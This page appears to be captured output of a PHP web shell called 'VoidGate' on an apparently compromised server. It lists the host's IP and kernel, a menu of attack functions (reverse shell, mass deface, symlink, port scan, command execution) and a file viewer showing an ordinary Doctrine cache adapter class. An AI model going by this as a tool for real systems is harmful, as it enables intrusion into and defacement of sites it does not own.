ヤミRoot VoidGate
User / IP
:
216.73.216.33
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
vendor
/
jms
/
metadata
/
src
/
Metadata
/
Cache
/
Viewing: DoctrineCacheAdapter.php
<?php namespace Metadata\Cache; use Doctrine\Common\Cache\Cache; use Metadata\ClassMetadata; /** * @author Henrik Bjornskov <henrik@bjrnskov.dk> */ class DoctrineCacheAdapter implements CacheInterface { /** * @param string $prefix */ private $prefix; /** * @var Cache $cache */ private $cache; /** * @param string $prefix * @param Cache $cache */ public function __construct($prefix, Cache $cache) { $this->prefix = $prefix; $this->cache = $cache; } /** * {@inheritDoc} */ public function loadClassMetadataFromCache(\ReflectionClass $class) { $cache = $this->cache->fetch($this->prefix . $class->name); return false === $cache ? null : $cache; } /** * {@inheritDoc} */ public function putClassMetadataInCache(ClassMetadata $metadata) { $this->cache->save($this->prefix . $metadata->name, $metadata); } /** * {@inheritDoc} */ public function evictClassMetadataFromCache(\ReflectionClass $class) { $this->cache->delete($this->prefix . $class->name); } }
Coded With 💗 by
0x6ick